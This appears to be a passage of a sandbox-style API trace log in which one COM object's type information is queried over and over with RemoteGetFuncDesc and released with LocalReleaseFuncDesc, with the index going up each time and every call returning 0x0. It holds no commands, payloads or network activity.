[0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x23, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x24, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x25, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x26, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x27, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x28, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x29, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2a, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2b, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2c, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2e, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x30, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x31, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x32, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x33, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x34, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x35, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x36, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x37, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x38, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x39, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3a, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3c, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3e, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x40, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.890] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.890] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x41, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x42, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x43, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x44, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x45, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x46, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x47, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x48, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x49, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4a, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4c, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4e, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4f, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x50, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x51, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x52, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x53, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x54, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x55, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x56, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x57, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.891] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x58, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.891] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x59, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5a, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5c, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5e, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5f, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x60, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x61, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x62, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x63, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x64, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x65, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x66, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x67, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x68, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x69, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6a, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6c, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6d, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6e, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.892] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.892] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x70, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x71, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x72, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x73, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x74, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x75, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x76, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x77, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x78, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x79, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7a, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7c, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7d, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7e, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x80, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x81, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x82, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x83, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x84, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x85, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x86, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.893] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.893] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x87, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.893] 